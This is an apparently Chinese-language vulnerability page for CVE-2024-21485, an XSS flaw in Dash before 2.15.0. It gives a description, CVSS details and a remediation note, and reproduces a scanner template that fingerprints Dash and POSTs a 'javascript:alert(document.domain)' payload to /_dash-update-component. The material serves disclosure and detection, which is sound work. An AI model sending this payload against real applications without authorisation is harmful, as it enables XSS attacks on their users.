CVE-2024-21485: Dash Framework - Cross-site Scripting

日期: 2025-08-01 | 影响软件: Dash Framework | POC: 已公开

漏洞描述

Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.

PoC代码[已公开]

id: CVE-2024-21485

info:
  name: Dash Framework - Cross-site Scripting
  author: Lee Changhyun(eeche)
  severity: medium
  description: |
    Dash framework versions before 2.15.0 are vulnerable to Cross-site Scripting (XSS) via href attribute in anchor tags. This template tests for javascript:alert payload injection.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21485
  impact: |
    Data theft from users who access the compromised view and Access token stealing allowing attacker to impersonate users
  remediation: |
    Upgrade to dash version 2.15.0 or later
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-21485
    cwe-id: CWE-79
    epss-score: 0.00493
    epss-percentile: 0.64893
    cpe: cpe:2.3:a:plotly:dash:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
  tags: cve,cve2024,dash,xss,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "dash-core-components"
          - "_dash-component-suites"
        condition: or
        internal: true

  - raw:
      - |
        POST /_dash-update-component HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"output":"link-output.children","inputs":[{"id":"link-input","property":"value","value":"javascript:alert(document.domain)"}]}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "props"
          - "children"
          - "type"
          - "javascript:alert(document.domain)"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fea0d259244f24022766a58ca82b44d68bce2447d3b99ebd8aaff1e829047a3002201307b91312bba1626b3419df3366b7f68662298b464b842b5b2687aced505fbc:922c64590222798bb761d5b6d8e72950

相关漏洞推荐